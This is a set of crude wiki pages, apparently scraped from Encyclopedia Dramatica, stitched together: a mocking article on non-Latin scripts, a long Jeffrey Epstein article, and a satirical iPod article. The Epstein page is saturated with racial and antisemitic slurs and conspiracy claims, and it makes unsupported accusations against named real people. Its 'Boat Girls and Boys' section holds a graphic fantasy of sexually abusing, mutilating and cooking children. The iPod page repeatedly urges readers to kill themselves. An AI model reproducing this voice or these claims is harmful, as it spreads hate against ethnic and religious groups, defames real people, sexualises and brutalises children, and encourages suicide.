Moonspeak generally implies special fonts to read, either Unicode encoding or character set specific encoding to transmit, and either non-QWERTY keyboards or input systems to type. As a result of these requirements, Moonspeak is a very fragile way of transmitting thoughts; lacking either the right set of fonts or the right encoding renders Moonspeak as a blob of squares.

Consequently, Moonspeakers resort to arbitrary transliteration of their language into the [[Latin]] alphabet to quickly and reliably communicate. The only cure for moonspeak is [[fire]] or [[Esperanto]].

==Samples of Moonspeak==
Read the following example from right to left.

'''זיינתי את אמא שלך'''

You can also read others from left to right. If they are ''italic'', right to left.

* '''Εγκυκλοπαίδεια Δραματική'''

* ''' 드라마티카 백과사전 '''

* '''エンサイクロペディア・ドラマティカ'''

* '''สารานุกรมดรามาติกา'''

* '''ᖃᐅᔨᒪᔾᔪᑎᒃᓴᑦ ᑕᕐᕆᔭᒐᒃᓴᓄᑦ'''

* '''''موسوعة الدراما'''''

* '''विश्वकोश नाटकीय'''

* '''Հանրագիտարան Դրամատիկա'''

* '''Аенциклопедиа Драматика'''

* '''ኢንሳይክሎፔዲያ ድራማቲካ'''

* '''ᱮᱱᱥᱟᱭᱠᱞᱚᱯᱷᱤᱰᱤᱭᱟ ᱰᱨᱟᱢᱟᱴᱤᱠᱟ'''

* ''' ⵜⴰⵙⵏⵉⵍⴻⵙⵜ ⵏ '''

==Some Moonspeak Scripts==
* [[Arabs|Arabic]] (also used to write [[Afghanistan|Pashto]], [[Persia]]n, [[Pakis|Urdu]], [[China|Uyghur (Xinjiang)]], occasionally [[Malaysia|Malay]], and others)
* [[Armenia]]n
* [[Cyrillic Millions Sign|Cyrillic]] (can be used for writing [[Eastern Europe|Belarusian]], [[Bulgaria]]n, [[Messin' With Sasquatch|Ossetic]], [[Russia]]n, [[Kosta Kecmanovic|Serbian]], [[Tajikistan|Tajik]], [[3Guys1Hammer|Ukrainian]] and others)
* [[Weeaboo|Japanese]]
* [[Azn|Mandarin Chinese]]
* [[Hong Kong|Cantonese]] - They use different fucking moonspeak pronounciations unlike the Mandarin used in [[China]] and [[Taiwan]]
* [[Asia|Divehi]]
* [[Africa|Amharic]]
* [[Africa|Tigray]]
* [[Ireland|Gaeilge]]
* [[Messin' With Sasquatch|Georgian]]
* [[Greek]]
* [[Spain|Basque]]
* [[China|Han characters]] ([[China|Hànzì]], [[Japan|Kanzi]], [[Korea|Hanja]])
* [[Good Korea|Hangeul]]/[[Best Korea|Joseongeul]]
* [[Hebrew]] (also used to write [[Yiddish]])
* [[Japan|Hiragana & Katakana]]
* [[India|Altleast 15 Indic Scripts]] (used to write1,652 Indian languages)
* [[Asia|Khmer]]
* [[Asia|Lao]]
* [[Asia|Myanmar]] (Burmese)
* [[Asia|Sinhala]]
* [[Thailand|Thai]]
* [[Tibet|Tibetan]]
* [[Asia|Dzongkha]]

==Examples==
<center>
<gallery>
File:4chan Japanese Moonspeak.JPG|It's as if they're trying to communicate
File:Moonspeak2.png|If you fuck up this answer you lose a kidney
File:Stalins ride explained.jpg|An in depth article on Stalin's bitches
File:Calligraphylion.jpg|A very well worded [[your mom]] joke
</gallery>
</center>

{{Language}}
[[Category:Chans]]

Jeffrey Epstein

2026-07-30T17:59:04Z

SmidgeX2:

{{pedophile}}
{{pedo}}
{{Conspiracy}}
{{SickFuck}}
{{Alleged hero|[[File:Deadstein.png|200px|link=]]}}
{{Withjews}}

{{Ib|[[File:1_Billionaire-Businessman-and-Convicted-Paedophile-Jeffrey-Epstein.jpg|250px]] The billionaire businessman and convicted paedophile Jeffrey Epstein}}
{{Ibhead|<big>'''Jeffrey Edward Epstein'''</big>}}
{{Ibrow|'''Born'''|January 20, [[Before the internets|1953]]}}
{{Ibrow|'''Died'''|August 10, [[2019]] (aged 66)}}
{{Ibrow|'''Nationality:'''|[[Americunt]]  [[File:MiniflagUSA.png]]}}
{{Ibrow|'''Gender'''|[[Men|Male]]}}
{{Ibrow|'''Occupation'''|Financier, convicted sex offender, serial child rapist}}
{{Ibrow|'''Sexuality'''|[[Pedophilia]]}}
{{Ibrow|'''Victims'''|1,000+}}
{{Ibend}}
'''Jeffrey Edward Epstein'''{{jew}}{{girllover}} was a [[Jewish]] billionaire and child molester, and was the Final Boss of {{strike|American}} International [[Paedophilia]], a title he earned by molesting [[at least 100]] children and getting away with it because of a combination of [[Jewgold]] and being friends with [[Bill Clinton]] and [[Donald Drumpf|the Trump family]].

Molesting more kids than [[Gary Glitter]], [[Jimmy Savile]] and [["Prophet" Muhammad|Muhammad]] combined, this motherfucker had it down to a science. Not only would he fly kids around on his plane -- dubbed ''Lolita Express'' -- so that he could play doctor with them on his own private island, he actually [[genius|paid these girls to then go back home and convince their friends to let him fuck them, too]]!

One would think that over the course of the DECADES this was going on, someone would catch this fucker and hand him a [[over 9000|9000-year long]] sentence of sharing a cell with Bubba, but instead, when his crimes were FINALLY discovered, he only served one year in a federal country club, where he got to leave for 12 hours a day, six days a week for "work release" (the kind of sentence Jerry Sandusky only dreams he could have had). Too bad the "release" was only to do actual work, versus the kind of "release" he wishes he could do all over the face of some 9-year-old.

==The Guy “”Qanon Warned You About==
[[File:Wayfair epstein connection.jpg|thumb|400px|right|[[Wayfair]] connection]]
Jeffrey's Magical Kiddie Playhouse was home to such impeccable decor as a life-sized mannequin in a wedding dress hanging from a chandelier, an entire wall made out of glass eyeballs intended for wounded British soldiers, and an oddly prophetic mural of him in prison, surrounded by barbed wire and guard towers, but conspicuously absent of a marauding horde of angry, horny niggers eager to show a rich Jew what happens to pedophiles in prison.
As if intentionally designed to get the Qanon and Pizzagate faggots at [[8chan]] to furiously masturbate over the implications of creepy-ass, edgelord designs that would have been considered too on-the-nose even for a fucking Saw movie, his 7-story townhouse in Jew York City would have made the perfect Halloween attraction had it not been declared a crime scene for hosting more CP than [[AllTheFallen]] and [[Sarah Butts]]' hard drives put together. Cleverly hidden on compact discs labeled 'nude girls', either the guy is an absolute fucking retard when it comes to hiding his CP stash, or he was just that confident that the [[Party Van]] would never come for him again, and if it would, he'd get off scot-free once more. Given who his friends are, it's probably the latter.

== Wikipedia Shilling ==
After Epstein's arrest, mentions of [[Bill Clinton]] being with Epstein and Kevin Spacey on Jeff's rape island were removed from Epstein's [[Wikipedia]] page, but mentions of Epstein meeting with Donald Trump in the [[1990s]] were not... (((Clearly nothing sinister here, folks))).

Similarly, [[The Wikipedia Jews|the Wikipedo Jews]] pounced on the Epstein article straight away, deleting all mention of his Jewishness. Their excuse?

{{quote|On reflection, the addition of his ethnicity is not necessary. Few, if any, Jewish-Americans are identified as such on Wikipedia.|Ambitus (Wikipedia Editor)}}

You read that correctly. Wikipedia, where just being an American Jew is enough to get a work detail of basement-dwelling yids hammering out a 10k-word hagiography, thinks it's irrelevant to mention that Epstein is a kike. Never mind that TOW actually has a category that is fucking entitled {{wikilink|Category:American_Jews|"American Jews"}}, where thousands of hook-nosed yids are listed in a variety of subcategories, including Epstein himself.

== The Lolita Express ==

[[File:Lolita Express Plane.jpg|center|350px]]

'''''<big><center>The Elite sickos look at this plane and see it as every one of their gross, sick fantasies coming true</center></big>'''''

[[File:Lolita Express 2.jpg|right|250px]]

[[File:Lolita Express poster.jpg|right|250px]]

[[File:K-On! Girls t-shirts.jpg|thumb|right|250px|<center>We don't want to go sending your ass into overdrive and be responsible for something awful happening; Just know, that this is what you'd be seeing on the flight</center>]]

Remember way way back in [[2016]], when [[Wikileaks]] posted the Emails of [[Bitch|Hillary Clinton]] and Joe Podesta that [[some argue]] revealed a coded system where Democrats could order themselves a [[Prostitot]] by sending coded messages to pizza places like [[Pizza|Comet Ping Pong Pizzeria]] in Washington, D.C.?

We don't, but it had [[you]] ready to jump onto the campaign trail in the hopes of winning yourself an USA-national level office as a [[politician]].

Well, Jeffrey Epstein's private Jet, a Boeing 727–100, Registration N908JE, better known as the '''''[[Lolita|Lolita Express]]''''' put [[Pizzagate]] to bed because it didn't discriminate. One could be a [[Democrat]], a [[Republican]], Black, White or one of those [[Le 56% Face|muddy people that are in-between]] - it didn't matter. If one had the [[money|moolah]], then they could get on that plane for a ride to the pervert’s paradise that was Epstein Island.

On the long travel to their personal [[Elvis|Graceland]], the so-called best of us would be entertained by a bunch of under-age White girls ranging from brunette to blonde and from Kindergartener to High School Junior - because not only could it seat 29 people comfortably, it also had a private bedroom if passengers weren't comfortable molesting a child where others could hear them; There also was a shower, so the pervs could clean off all the [[Cum|Jizz]] they squirted all over themselves.

For the more discerning [[pedophile]], the '''''Lolita Express''''' had a theatre just in case the passengers found that it was more comfortable for them to get their victim “in the mood” with a [[Disney]] movie and a [[Alcohol|bar]] if they wanted to get that poor youth (whom most likely would have to double their age to [[Puberty|grow their first hairs]]) nice, drunk and passed out. That was of course, so the victims wouldn't have scared-doe-eyes looking at [[Sick fuck|these rapists]] whilst wondering why some weird [[old]] guy is touching their naughty places.

The passenger-lists/flight-logs read like a who's-who list of global [[politics]] and [[Money|rich elites]]. For instance, [[Bill Clinton]] who believed that a woman's [[Vagina|pussy]] could be used as a cigar holder, saw the plane-ride as a [[kid]] would see a Merry-Go-Round, and took the flight [[Some say|at least]] 27 times.

Jeffrey Epstein's brother Mark has said that USA’s [[The Donald|Emperor Trump]] took the ride once. Much like Billy-Boy Clinton's excuse that he “never inhaled” when he tried [[Marijuana]], [[The Donald]] is alleged to have said that he [[Sex|never pulled out]].

== Epstein's Boat Girls and Boys ==

[[File:Esteins big boat--.png|center|450px]]

<center>This wasn't just a boat, it was a palace of dreams for the rich</center>

[[File:Boy with twirling popsicle.jpg|thumb|right|250px|<center>|r9>250px|<center>We bet your dick's getting hard from this pic faggot</center>]]

[[File:Girl with sucker.jpg|thumb|right|250px|<center>Epstein ensured that she was a pro by the age of 9</center>]]

Most people believe that once you are 3 miles away from the shores of a country you are immune from prosecution and no longer subject to the laws of a country. This used to be true, because 3 miles was the maximum range of coastal cannons and if one was further than that, they wouldn't get the shit shot out of them. This is also the distance the horizon can be seen at sea level, by a person whom is 6 feet tall.

This law only applied to western countries - not those rag-head, [[dog]]-hating savages who still, have yet to advance beyond the canoe.

Now, if one wanted to be getting some of the [[Kid|young stuff]] and not have to worry about the [[Military|Coast Guard]] or Navy going looking for them, in this current age, they’d better be parking their boat 12 miles from the shores of whatever country they’re near. Now, before you decide to head out in your [[Poor|cardboard Yacht]] to have a good old time with your [[Snorlax]], be aware that this is measured from the lowest average tide that a country has calculated over a period of years. So just to be safe, make it 13 miles away from the coast(s).

So, what were the boat girls and boys?

[[Rick and Morty|Oo-wee!]] Boy, if you had a fantasy, Epstein was there to make it happen for you on his yacht - for “the right price”, of course.

The elites’ pandemic of [[Pedophile|pedophilia]] is a major [[Sloop|snoozefest]] compared to what was up for sale on Epstein's boat. [[Money|Buying]] pretty little girls and [[13-year-old boy|boys]] for $500 dollars from the poor and toilet-paper-oblivious countries like [[Cambodia]], Vietnam, [[India]], China and others was done, because when you really need money, nothing sells faster than a “good-looking” kid to a [[White Devils|foreign white guy]] that will pay you in [[America|American]] dollars. You know, the good stuff. Not those pretend currencies that have fish or snakes on them like the [[Mexico|Peso]] or [[Japan|Yen]].

Now it should be stated that the really bad suff was done with the [[Nigger|monkeys]] from third world countries because no one wants to waste a perfectly good White [[Loli|girl]] or boy that your henchmen had to risk [[Jail|arrest]] snatching off the street in a white cargo van, from [[Wal-Mart]], [[Disney|Disney Land]] or doing the 'ol snatch and run from an Elementary [[School]] playground. [[No]]. These are the dispsable kids where you can do whatever your sick little [[Brain|mind]] can come up with.

Ever had that fantasy of cutting open a little girls abdomen, choking her with her own intestines and then cooking the undeveloed ovaries and uterus of that pretty Indian (Dot not feather but if you wanted a feather Epstein could make that happen for an extra fee) along with the charred scrotum of an 11-year-old [[Thailand|Thai]] lady boy that's been on hormones since the age of 9 and put it all together with a fine Extra Virgin Olive Oil that was pressed by a virgin boy in Greece during a super [[Moon]] on the winter solstice with some fine peppers, garlic, that you cut finely with a [[Emo|Razor Blade]], and some White Alba Truffles that were dug up in Piedmont, [[Italy]] by an all white, 6 Month old Lagotto Romagnolo, to make a delicous Pomodoro? Epstein could make it happen for you on his boat if you had the money.

Taking a cue from [[Martha Stewart]], clean up was sinch. Just make sure the room you were doing your '''''"Original"''''' culnary creation was covere in plastic. Doing that, all you had to do was feed the body to the sharks and power wash the deck after tossing you plastic sheets in the ocean to break down in the sun because we need more micro pasrics in our blood t

Easy Peasy Bub!

== DUN DUN DUN ==
[[File:epstein-morrowind2.png|thumb|right|You feel like someone is watching you.]]
In July of 2019, Epstein was finally V& in Jew York after some (((journalist))) in Miami did an exposé on just how many people bent over backward to spare him from Bubba's BBC the last time he was v& for diddling little girls. Said (((journalist))) uncovered everything from a campaign of witness intimidation, sweetheart deals, a deliberate coverup of the involvement of everyone from Bill Clinton to Prince Andrew at Pedobear Island, to a claim that Epstein "belongs to the intelligence." Such arguments did not move New York prosecutors and judges. After his Fortress of Molestation was searched, an entire safe was found full of cash, diamonds, and a fake passport claiming that Epstein, a filthy kike, was a sand nigger from Saudi Arabia. Claiming that it was only because he knew what actual sand niggers think of rich Jews who molest kids, it's probably because he knows that child molestation is a time-honored tradition of Middle-Easterners and saw sand niglets as another source of underage poon once the American well runs dry.
Whatever the case, the means and motivation to flee proved too much, and he was ordered held without bail. {{strike|The only question now is whether or not Bubba will get to fuck him before he's inevitably found swinging in his cell or Tyrone shivs him to death in the cafeteria}} yeah that's not a question anymore now, is it...

== NYC Jail Injury and "Suicide" ==
[[File:epstein_headpat.gif|thumb|right]]
The asshole was found injured in his jail cell on the 24th of July, 2019 nearly unconscious, tied and gagged, in a fetal position, attempting to imitate the age group he has an obsession with. He has been placed on a suicide watch. At the time of writing this, it is unclear if it was suicide, a hit job, or someone beating the shit out of him because he's an alleged pedo. Apparently, he was put on suicide watch where he would be monitored 24/7 without any tools to commit suicide, but the camera just so happened to malfunction right when he died.
[[File:deadstein.png|400px|thumb|center|[[fed|"Does this look real enough?"]]]]
=== Goodbye, cruel world ===
[[File:Epstein Final Mugshot.png|thumb|200px|right|his last mugshot]]
He ded, ladies and gentlemen. Handy Andy probably had something to do with his death if the tabloids are to be believed.
On the 10th of August, 2019 our unfortunate protagonist was found dead of apparent suicide in his jail cell. It's currently too early to state definitively whether or not his rich mates ordered the assassination or he was just a massive faggot and pussied out pre-trial, given he'd been up for some pretty heinous stuff in the past and walked away pretty much scot-free.
Rest in peace, Jeffrey. All the people listed in your black book will never miss you.

==The Epstein Files==
{{Epstein}}
As [[Donald Trump]] is now back in office, his [[Buttsecks|relationship]] with Epstein has come back into the interest of many [[hooknose]]d (((journalists))). The mounting pressure from the public forced the [[glowniggers]] to <s>finally release the files</s> [[LOL]] jk. They released [[ALL CAPS|HALF]] of the files and with a fuck-ton of redactions. Nonetheless, what has been published is still [[lulzy]] and implicates some of our favorite people to secretly be into [[kiddie porn]]. This includes [[Benjamin Netanyahu]], [[Elon Musk]], and even [[Moot]]!

<center>{{Frame|{{fv|eqvids|background-color: #FFFFFF;|font-weight: bold;
|<youtube>Ajorkm1FOCU</youtube>
|<youtube>NCUB6MLSV7k</youtube>
}}|border=#FFFFFF|background=#FFFFFF}}</center>

Other notable events that have come out in connection to the files are:
*Epstein getting banned on [[Xbox Live]] for cussing other players out.
*His [[Fortnite]] account being found still active, then being deleted after.
*The idea of [[pol/|/pol/]] coming from Epstein.
*[[Weev]] being called an idiot in an email addressed to Epstein.
*NineapplePineapple, originally thought to be an ARG, ended up in the Epstein files.

==Quotes==
<center>{{frame|{{morphquote|mqtest3|background-color:#ffffff; width: 700px; height: 210px;|font-weight: bold;

|Snipe hunt is over, moon crickets in field bag. Guess what? They're niggers.

|360 noscoped those noobz

|Edutainment is for pussies. It doesn't work. Once kids catch on that you are trying to teach them something, they shut down. We have to keep the boobs and guns and profits. You see how much video games are making these days? Fuck educational reform. We need educational subversion!

|On [[gamergate]]

|[REDACTED] said that she felt gods presence next to her when she was in bed.. she knows that Jesus watches over er. and he helped save her life. Whoops

|after killing a Christian kid.

|Do you think I am retarded?

|Epstein to [[Elon]]

|border=#ffffff|background=#ffffff}}}}</center>

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== Gallery of [[Rich|Gucci]] Billionaire Drip==

{{Collapsegallery|◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎♚♚♚Epstein Didn't Kill Himself♚♚♚◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎◼︎|cg1|center|<gallery>
File:Epstein 7.jpg|[[Bill Clinton]] with his buddy Jeffery
File:schiff_epstein1.png|Adam Shiff with Epstein
File:Epstein.jpg|He got them medals n' shit for being a super cool guy I guess.
File:Trump-and-Epstein.gif| the [[Liberal]] wet-dream holy hand grenade of media smear ammunition.
File:Trump-and-epstein-1.jpg| [[Trump]] and Epstein again
File:epstein-memes-6.png| Killed
</gallery>|<gallery>
File:The-Epstein-Bears.jpg|The Epstein Bears
File:Epstein wildin.jpg|chat bait
File:Epsteindidntkillhimself.jpg|Drake Agrees!
File:No_epstein.jpg |[[Reddit|Ghislaine Maxwell]] who procured minor girls with Epstein in a photo with Trump
File:epstein bass pro.jpg‎|The Bass Pro [[basement|building]] on Little Saint James Island in the U.S. [[Irony|Virgin]] Islands, where Microsoft Flight Simulator fans like to meet up and park their [[loli|planes]]
File:Rip epstein shirt.jpg| A [[Sam Hyde]] creation that became high fashion worth [[over 9000|over $9999]].
File:MDE Sam Hyde RIP Epstein For Sale.jpg| Seriously, it would have been a good investment
File:MEMES Guess Who won't die of COVID Epstein.png
File:michaeljacksonepstein .png|Because of course [[Michael Jackson|he]] was there
File:TarrantEpstein.jpeg
File:tubstein.png
File:happystein.png|Just look how happy he looks, awwww
File:glassespic.png
File:ropemaxxed.png
</gallery>|border=#36c|color=#FFD700}}

<center><youtube>rRsb9qyvofU</youtube></center>

== See also ==
* [[Alex Jones]] - He was right and this proves aliens and reptiles and sandy hook was fake.
* [[California]] - The land of the sodomite damned for prolific child-sex freaks.
* [[David McKillips]]
* [[P Diddy]] - Epstein-Lite
* [[Woody Allen]]{{jew}} - Fucked his underage daughter then married her and was an actor in Hollywood.
* [[Roman Polanski]]{{jew}} - Also part of the [[satan]]ic pedophile [[goth|cult]] [[Illuminati]] conspiracy, also a famous film director.
* [[Harvey Weinstein]]{{jew}} - Diddled most of Hollywood and was a film producer.
* [[Tanner Horner]]
* [[Jeff Goldblum]]{{jew}} - Another Hollywood Jew who raped and knows the name of the [[dinosaur]] that has 500 teeth.
* [[Jared Fogle]]{{jew}} - Another pedo Jew. Currently being [[fucked]] by [[gay]] [[prison]] inmates [[Ram Ranch|in the shower]].
* [[Hillary Clinton|The]] [[Bill Clinton|Clintons]] and [[Trump]] - Both were associates of the famous kike.
* [[Storm Area 51]] - Used to keep the goyim in the dark about his assassination by The ZOG.
* [[Pizzagate]]
* [[Lil Pump]] - Made his theme song

==External Links==
*[https://www.justice.gov/epstein Epstein Files]

==Hello World==
[[File:Epstein Drip Edramatica.com Invite.jpg|740px|center|link=Encyclopedia Dramatica]]

{{Portals|sex|truth|memes}}
{{Childabuseseries}}
{{Jewseries}}
{{Money}}
{{Rapeseries}}
{{Trump}}
[[Category:Lists]]
[[Category:2019]] [[Category:People]]

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{{timeline|[[AOTN|Featured Article]] for December 7 & 8, [[2023]]|[[Grand Theft Auto: Vice City]]|{{PAGENAME}}|[[Encyclopedia Dramatica]]}}

{{timeline|Article of the Now July 18 & 19, [[2025]]|[[GradeAUnderA]]|{{PAGENAME}}|[[Birdie]]}}

{{Timeline|Featured article February 21 & 22, [[2026]]|[[Foxler Nightfire]]|[[{{PAGENAME}}]]|[[764]]}}

IPod

2026-07-27T15:47:08Z

SmidgeX2:

{{lowercase}}
[[Image:Ipod.jpg|thumb|Keeping the [[black]] man down]]
[[Image:typicalipoduser.jpg|thumb|Or not...]]
[[Image:Lost iPod Touch.png|thumb|Some iFag just got trolled]]
[[Image:Soundwavekickingass.jpg|thumb| You tell em Soundwave]]
[[Image:Igoatse.jpg|thumb|Apple supports [[goatse]].(Are you suprised?)]]
[[Image:Ipodfail.jpg|thumb|[[A winner is you|A winner is iTunes]] when restoring iPod settings means everything gets [http://www.hrwiki.org/wiki/DELETED BALEETED]. ]]

An '''iPod''' is the family of overpriced [[hipster]] jizzrags thrown together by the [[Apple]] Corp-to-tha-oration-izzle. What makes this family of overpriced hipster jizzrags different from other Apple jizzrags is that this family plays the MP3 files. Note: the files it plays are actually .m4ps, [[Nazi|forcing you into a corner of buying Apple products for the rest of your life.]] Fun Fact: For every [[Money]] you spend on your iShit, you will spend another [[Money]] on [[:File:Igoatse.jpg|accessories.]]

The original iPod could hold about 5 or 10 MP3s and was fragile enough to break when you looked at it funny. There is also the iPod shuffle that was released [[over 9,000]] years ago and held about 1GB of songs and was small enough to fit [[in the ass]] before being sat on and broken. [[Goatse|An elite few]] however are able to perform anal insertion with a standard size iPod. There was an [[Chris_Forcand|iPod Touch]] released last August or something, which is basically the same thing as the buttsechsing [[iPhone]]. Avoid it.

It works with the program called [[iTunes]] that [[stupid|you]] and [[incest|your family]] use to buy music files online and can only be played with the Apple. [[WTF]]? In addition to iTunes, it comes with [http://archive.fo/QPTpA extra software with special Windows features]. You can also buy off an overpriced and pretty [[shit|shitty]] list of [[pr0n]] and games. They are fucking useless, aside from the fact that you can likely [[trolling IRL|troll people IRL]] with them.

The iPod has long been a subtle reference to [[Worldwide_Masonic_Conspiracy|white supremacy]]. Note the [[Kkk|all-white skin]], headphones, and a price only affordable by the Jew.

[[Andrewpants]] has been known to sell iPods over the [[internets]]. He'll give you the deal you can't refuse on an [[iPod]]. Speaking of which, you won't believe how much he paid me to say this! He's going to be stuck with a load of iPods, because the teenage nerds reading this will [[Enter Your Zip Code For a Free iPod Nano!|enter their zip codes for a free iPod Nano]] instead.

Warning! [[Mitchell Henderson|If you lose your iPod]], [[you]] will have no choice but to [[an hero|kill yourself]] for some reason. That's just, like, the way the universe works, man. If you even break the screen, those assholes at the Apple store will charge you 300 bucks to fix it. Cheap huh?

All iPods come with a factory warranty, but it's guaranteed that as soon as your warranty expires, your iPod will [[fail]]. And if perchance your iPod fails before your warranty expires, you can always mail it in for a [[Bullshit|brand new iPod]] that will be shipped [[P-p-p-powerbook|within 1 business week]].

== The iPod Shuffle ==

[[Image:Do_Not_Eat_iPod_Shuffle.png|thumb|Apple shows concern for its [[retards|core demographic]].]]
[[Image:Blackmanwhiteearphones.jpg|thumb|Can you taste the sheer cool radiating off this Shuffle-owner?]]

The iPod Shuffle is exactly the same as a regular iPod, without any of the [[fail|unique and sexy]] features of a standard iPod. It was simply a marketing ploy by some Jew working at Apple to get more money out of you. This bitch somehow thinks that people who already own an iPod are going to rush out and buy an iPod Shuffle, because "Random is hte wne rreod (The new order)". The great stupidity of an iPod Shuffle is that its main selling point is its shuffle feature. Note that every other iPod has a shuffle feature. And a screen. And more capacity. And more battery life. And more [[lulz]].

In fact, the only thing the iPod Shuffle does have is an extra $50 spent on 2GB of memory that [[stupid|you could have gotten for only $10]] for ANY OTHER MP3 PLAYER. This does not count the desire to bash your head repeatedly against the wall upon purchase.

Anyone who owns both an iPod and an iPod Shuffle is a [[fucktard]] who should be immediately thrown into a pit of [[batshit crazy]] anal raping [[goatse|goatses]]. [[Tyra Banks]] could work, but this has not yet been tested. Also note how the original iPod Shuffle looks like a tampon, and the new one like a condom wrapper.

== The iPod Nano ==
The iPod Nano is [[Apple]]'s replacement to the iPod Mini, which had a battery that went absolutely dead if you ran it out and recharged it more than once. The Nano is absolutely worthless in design. It sports a screen about the size of a quarter to view all of your favorite [[porn]], see all of your [[emo|album art on]], and now even squint at your favorite [[desu|four videos]]! As of the first iteration, the iPod Nano came in the iPod's original colors, then came in four [[gay|new]] colors, and now comes in five [[shit|newer]] colors. The 4-gigabyte iPod Nano is a fucking useless brick for what [[tonight we dine in hell|you pay for it]]. You can save money by <strike>getting a cassette player</strike> [[kill it with fire|killing it with fire]] which is superior to the Nano in every way, yet the Nano [[PROFIT|sells]] [[over 9,000]] units every day! Lulz!

== The iPod Video ==
Eventually Apple realized that people wanted to watch [[pr0n]] on their iPod. So they created the iPod Video and released videos on [[iTunes]], but since it only had certain movies like ''[[Jack Sparrow|Pirates of the Caribbean]]'', everyone just put their own [[warez|pirated]] videos on it. After video support was included on the iPod Nano, they released the iPod Video again but called it the "iPod Classic". It was exactly the same as the Video but added a pointless image on the menu that took up half the screen and slowed down the iPod while you waited for it to load.

== The iPod Touch ==
Congratulations, you have been selected to receive a [[lies|free iPod Touch!]]

As of [[2012]], Apple has released the iPod Touch, a [[Fact|gimpy version]] of the [[iPhone]] which features [[crapp|everything]] but the phone and a portable version of [[shit|Mac OS X]]. It's the latest piece of shit to be spewed out of Steve Jobs' [[Goatse|loose asshole]]. It has been known to not work at all, be shipped without it's battery, [[Mitchell_Henderson|be stolen]], freeze up, come without software, and even [[Irony|refuse to download music]] (iRony?). The iPod Touch is constantly referred to as the "iTouch". This term is typically used by [[pedophiles]] and lazyass [[Retards|teenagers]], and causes much [[rage]] amongst the mentally stable percentage of the human population. Apple [[faggot|fans]] proclaim this as being the best iPod ever, when really, they're just saying that to hide their [[butthurt|shame]] that they own a shitty MP3 player and not an iPhone or one of the clearly superior 8-tracks or cassette players. The only people who actually use this crappy music player are those who jailbroke it. Jailbreaking in itself is fail, because half of the software to do so will brick your iPod Touch. After the warranty expires. [[user:Feuer|Feuer]] uses one because he fucked up his computer, and he's a toolbag. Did I mention that its auto fill feature changes fuck into duck, and that it will drive you batshit insane when trying to type on this fucking page?

== The iPad ==

Just when we thought it couldn't get any worse with the iPod Touch, Apple developed a new jizzrag, the iPad. The iPad is the exact same thing as the iPod Touch, but [[over 9000|a thousand]] times larger and [[at least 100|twelve billion]] pounds heavier. It still plays music, but again, it's fucking huge. So much for on the go. The starting price for these bricks is 600 dollars, so if [[you]] are stupid enough to buy one, we suggest you [[Balloon Boy|create a hoax to get enough money from reality shows]].

== The iPod is NO MP3-player ==

[[File:Ralph ipod retard.jpg|thumb|[[Retard|Typical ipod user]]]]

As we all know, the iPod is an MP3-player. [[Fact]].

[[idiot|People who have iPods don't seem to think so]], and they think it belongs in a whole other category of gadgets.

This strain of thought usually runs in two categories: one group who never says "I want to put this song on my MP3-player", but instead they like to replace the word MP3-player with iPod, because they're all [[n00bs]]. Old [[German]] books are full of iPod [[grammar nazi|propaganda]], these people probably have adapted a [[chan|modern]] version of this. Also, adults who [[learn to|do not know how to internet]] and see [[you]] with headphones plugged into a fucking boombox, [[they]] know it is really an iPod.

While it IS possible to listen to [[warez|mp3s]] on an iPod, you are required to use the super [[FAIL|win]]some software iTunes, which renames all your files to [[gay|FAGZ.mp3]] and other such variations, to deter from [[fun|song-sharing]]. However, [[Apple]] does not want you to be without the muzak, so they supply a [[shit|fan]]-tastic store on [[internets|teh internets]] so you can pay [[Over 9000|1,200% more]] for your songs while artists go broke and [[Steve Jobs]] shits on a solid gold <s>toilet</s> throne. Oh and you can't listen to them anywhere but your iPod. [[no|Car?]] [[no|Work?]] [[maybe|Upstairs?]] This is because iTunes music is in [[gay|.m4p]] format which means "Media 4 Pricks". Note [[Apple]]'s [[1337]] use of the numeral [[faggotry|'4' in place of the word 'for'.]]

The second group of people would rather their [[fail|iFail]] be used as the Swiss Army knife of penis size enhancers. They will go to any length, risk any breakage, to do things such as put Linux on their iPod so they can [[basement-dweller|play Doom]] with the [[gay]] little click wheel and have a background picture of [[whore|Stormy Daniels]] bending over for cawkage. But, their [[jailbait|jailbreak]] efforts [[fail]] and leave them with a [[accidentally|borked]] operating system, so they inevitably become [[an hero]].

Both groups, needless to say, [[win|<strike>fail</strike>]] win more than a [[tubgirl|Mideastern whore]] with a STD.

== White Headphones ==
It is generally accepted by those who own iPods that white headphones are the ultimate symbol of greatness and paying a shitload for just that. Anyone who does not use white headphones is probably a [[Uncyclopedia|Nazi terrorist lesbian alien who should have rotten buffalo wings thrown in their general direction]]. In the case of those who do not own white headphones, the accusations are reversed. Thus, it is best for headphones to be abandoned at all cost, and psychic relations forged with iPods so as to hear the sweet, sweet music within. These headphones usually last from 1 hour to a week, the speaker usually blows out. They are a piece of shit. You can solve this problem by buying overpriced Sennheiser headphones that cost [[over 9,000]] dollars.

Black iPods exist, but they also include white earphones. This is because Apple has a selective anti-black person policy. Good for them!

=== [[White]] Headphones and [[Black]] People ===
An excellent way to [[trolling IRL|troll IRL]] is to wear white headphones with some shitty $5 Walkman. As thieves associate white headphones with iPods, they will then try to steal it. When they discover that what they have just stolen is worth [[over 9,000]] dollars less than they thought it was, you will most likely be [[raped|stabbed]]. Because some black iPods were made, [[Apple|some people]] referred to them as nigPods.

[[Image:Its_The_Attitude_Stupid.gif|thumb|Typical Klansman enjoying his iPod.]]

==Care and Servicing==

[[Image:PopeHitTheDove.gif|thumb|Typical iPod ad.]]

[[LOLWUT|An iPod is the only thing your nuts can scratch. Be careful not to touch the iPod. Doing so will present you with a mystical tree. The tree has many leaves and you must pick one. One and only one, the correct one. The wrong one will unleash a cyber-virus that will infect your brain and kill you. This leaf will buy you enough time to get to the future doctor and have him swap your brain into a female body. Then, without nuts, you won't have to ever worry about scratching them or your iPod.]]

==So You've Broken Your iPod?==
Have you played your iPod? Looked at it? Opened the box you purchased it in? If so, it is now inoperable. Immediately purchase a new one. You are low on money? Steal some. [[Alex Wuori|Suck a dick]] if need be. Apple is not responsible for any damages that occur to your iPod, including damages that may be a result of [[Steve Jobs]] gleefully raping your anus with an iPhone.

==So youve lost your iPod?==
When you finally [[DO IT FAGGOT|Kill yourself]], you will officially be [[An Hero]].
==iJacking==

[[Image:ToCatchAnIJacker.png]]

